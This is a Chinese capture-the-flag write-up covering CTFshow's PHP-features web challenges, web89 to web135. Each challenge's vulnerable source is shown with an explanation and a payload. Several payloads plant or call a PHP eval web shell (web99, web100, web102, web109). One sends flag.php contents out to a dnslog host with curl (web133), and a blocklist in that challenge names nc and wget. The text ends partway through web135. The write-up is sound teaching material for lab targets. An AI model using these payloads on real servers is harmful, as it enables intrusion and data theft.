CTFSHOW WEB入门 PHP特性篇

本文主要是介绍CTFSHOW WEB入门 PHP特性篇，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

限制了参数中不能有数字字符，当函数 intval 参数为非空数组时值为 1，构造数组绕过。
payload: ?num[]=1

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval 函数扫描参数字符串，跳过前面的空格字符，直到遇上数字或正负符号才开始做转换，再遇到非数字或字符串结束时(\0)结束转换，并将结果返回。
这里用 4476xxx 或 0x117c 都能绕过。
payload: 4476a

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

感觉不是 php 特性，只考了正则的 flag 不同匹配的文本不同。
payload: ?cmd=ph%0Aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

第一个 if($num==4476)，会强制按十进制（默认）转换 $num 为数字再进行比较，第二个 if(intval($num,0)==4476) 中 intval 函数第二个参数为 0 会检测字符串格式判断要转换的进制。所以这里传十六进制或八进制就能绕过。
payload: ?num=0x117c
payload: ?num=010574

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

相比上一题禁用了字母，也就不能用十六进制了，八进制绕过。
payload: ?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

参数第一个字符为 0 会触发 die，八进制可以前缀 + 绕过。还可以用浮点数绕过，不过还是要带 0 不然这个 if 还是 true。
payload: ?num=4476.20
payload: ?num=+010574

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

正则禁用了小数点，还能用八进制绕过。
payload: ?num=+010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

hightlight_file 可以伪协议读取文件
payload: ?u=php://filter/convert.base64-encode/resource=flag.php

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5 函数传 array 会返回 NULL，此时 if (md5($_POST['a']) === md5($_POST['b'])) 处 NULL === NULL。
a 和 b 传两个不同的数组绕过 if ($_POST['a'] != $_POST['b'])。
payload: a[]=1&b[]=2

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

考察三元表达式，读题构造 payload，没有绕过
url: ?a=1
body: HTTP_FLAG=flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

in_array 函数的第三个参数 $strict 默认为 false，不会对类型进行检查。这就导致 "20.php" 和 "20" 都可以是 20，从而绕过限制上传一句话。
url: ?n=30.php
body: content=<?php @eval($_POST[1]);

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

由运算符优先级表可知 = 的优先级比 and 要高，所以这里 $v0 的赋值可以看成是 ($v0=is_numeric($v1)) and (is_numeric($v2)) and (is_numeric($v3)); ，只要 $v1 为数字就可以过 if($v0)。
; 可以用 ?> 代替，就可以随便操作了。
payload: ?v1=1&v2=eval($_POST[1])?>&v3=;

web101

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

修复了非预期，就让你一定要用反射
payload: ?v1=1&v2=echo new ReflectionClass&v3=;

web102

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

is_numeric 在 php5 中可以把十六进制数字符串识别成数字，但题目的环境是 php7，用不了。
这里需要 $v2 是纯数字的十六进制数（带 e 的科学计数法也可以），hex2bin 再伪协议 base64-decode 写入即可。
url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin

web103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

和上一题差不多，增加了对 $str 字符串的正则过滤，上题 payload 一把梭
url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin

web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

要求输入两个值，他们的 sha1 值相同，却没对这两个值做任何限制，甚至直接输入两个一模一样的值都可以过，这是在考 get 和 post 传参吗？？？

web105

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

变量覆盖，$flag -> $suces -> $error -> 输出
url: ?suces=flag
body: error=suces

web106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

sha1 和 md5 一样都可以用 array 绕过，NULL == NULL && array(1) != array(2)
url: ?v2[]=2
body: v1[]=1

web107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

考察 parse_str 函数，有第二个参数以数组的形式存在第二个变量中，$v2 为将 v1 作为 url 参数解析后的结果。
要求参数中 flag 的值与 $v3 的 md5 哈希值相同，故构造 payload
url: ?v3=1
body: v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

ereg 函数存在 00 截断漏洞，0x36d 十进制为 877，strrev 后应为 778，故构造 payload
payload: ?c=aa%00778

web109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

本身没什么过滤，正则完全就是摆设。第一个参数随便找个类初始化一下，第二个闭合一下参数然后一句话连蚁剑
payload: ?v1=DirectoryIterator&v2=".");eval($_POST[1]);//

web110

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

FilesystemIterator 和 DirectoryIterator 在 php:5.6 被 echo 输出时都会输出第一个目录，但在 php:7 中 DirectoryIterator 只会输出 ".."。
这里利用 FilesystemIterator 和 getcwd 获取目录下按字母排序第一个文件名，访问这个 txt 获取 flag。
payload: ?v1=FilesystemIterator&v2=getcwd

web111

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}
?>

正则要求 v1 写死 ctfshow，利用全局变量变量 GLOBALS 获取 flag 变量的值。
payload: ?v1=ctfshow&v2=GLOBALS

web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

正则禁用了一些协议和 filter，去掉 filter 也可以用 php://filter 读文件
payload: ?file=php://filter/resource=flag.php

web113

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在 linux 中 /proc/self/root 是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root 其实显示的内容是根目录下的内容 多次重复后绕过is_file

这里可以利用 /proc/self/root 绕过 is_file，也可以用没过滤的 compress.zlib:// 读文件。
payload: ?file=compress.zlib://flag.php
payload: ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
数了下是21个

web114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼！";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

禁用了上一题的两种方法，重新拿起老方法一把梭
payload: ?file=php://filter/resource=flag.php

web115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

在数字前加空格也会被 is_numeric 识别为数字，trim 过滤空格不会过滤 \f（%0c）
payload: ?num=%0c36

web123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

isset($_POST['CTF_SHOW.COM']) 要求填写一个带英文句号的参数，但这是 php 不允许的，空格、[ 和 . 都会被替换成下划线 _，但如果先有一个 [ 被替换成下划线，接下来后面的空格、[ 和 . 都不会被替换，有点意思。
$c 被加了一大串正则限制，这里经测试 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a 可以看到输出是 Array，说明 php.ini 中开启了配置 register_argc_argv，那么 $a[0] 就是 GET 参数字符串，测试 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a[0] 验证了猜想，那么就可以通过 eval($a[0]) 绕过正则和长度限制。
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])

web125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

相比上题增加了一些正则的过滤，不过不影响我们用上一题的 payload 一把梭。
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])

web126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

一把梭
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])

web127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼？");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

需要变量覆盖 $ctf_show 但正则禁用了 _、[ 和 .，只能用空格。
payload: ?ctf show=ilove36d

web128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼？";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

禁用了所有数字和字母，不过还有 (gettext)[https://www.php.net/manual/zh/function.gettext.php] 函数的 _ 没有被禁用，该函数可以原样返回输入的字符串。
接下来第二层 call_user_func 调用的就是 $f2 传入的字符串对应的函数，(get_defined_vars)[https://www.php.net/manual/en/function.get-defined-vars] 函数可以返回作用域中定义的所有变量，其中就包括了 $flag。
payload: ?f1=_&f2=get_defined_vars

web129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

if(stripos($f, 'ctfshow')>0) 要求参数 $f 包含字符串 ctfshow，这里目录穿越绕过。
payload: ?f=php://filter/convert.base64-encode/resource=./ctfshow/../flag.php

web130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;
}

这过滤了个寂寞
payload: f=ctfshow

web131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

正则存在(最大回溯限制)[https://www.laruence.com/2010/06/08/1579.html]，触发就可以让 preg_match 直接返回 false，从而绕过限制。

import requests

url = "http://9924c6cf-8dd7-45d8-8c19-a2b887d66765.challenge.ctf.show:8080/"

print(requests.post(url, data={"f": "very"*250000+"36Dctfshow"}).text)

web132

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

访问 /robots.txt 后看到 Disallow: /admin，更改地址栏为 /admin 重新访问会发现端口被去掉返回了 404，重新加上端口即可得到源码。
考察(运算符优先级)[https://www.php.net/manual/zh/language.operators.precedence.php]，其中 && 的优先级高于 ||，故 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin") 中只需要 $username==="admin" 即可满足。
payload: ?username=admin&password=a&code=admin

web133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

被 substr 后 eval 的部分还可以 eval 没被 substr 的 $F，就可以绕过了。具体展开如下：

$F = @$_GET['F']; //?F=`$F`; sleep 3
substr($F, 0, 6); // `$F`; 
eval(substr($F, 0, 6)); // eval("`$F`; "); -> eval("``$F`; sleep 3`; "); "`" 只会被展开一次

于是就可以 dnslog 带出 flag。

payload: ?F=`$F`; curl `cat flag.php|sed s/[[:space:]]/xx/g`.xxxxxx.dnslog.cn

web134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察变量覆盖，if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) 限制 GET 和 POST 参数都不能有 key1 和 key2，这两个变量是后面 if($key1 == '36d' && $key2 == '36d') 要满足的。因为有两次变量覆盖，而且前面的 if 是在覆盖操作之前，所以可以通过覆盖第二个变量覆盖的参数来间接覆盖 key1 和 key2。
payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
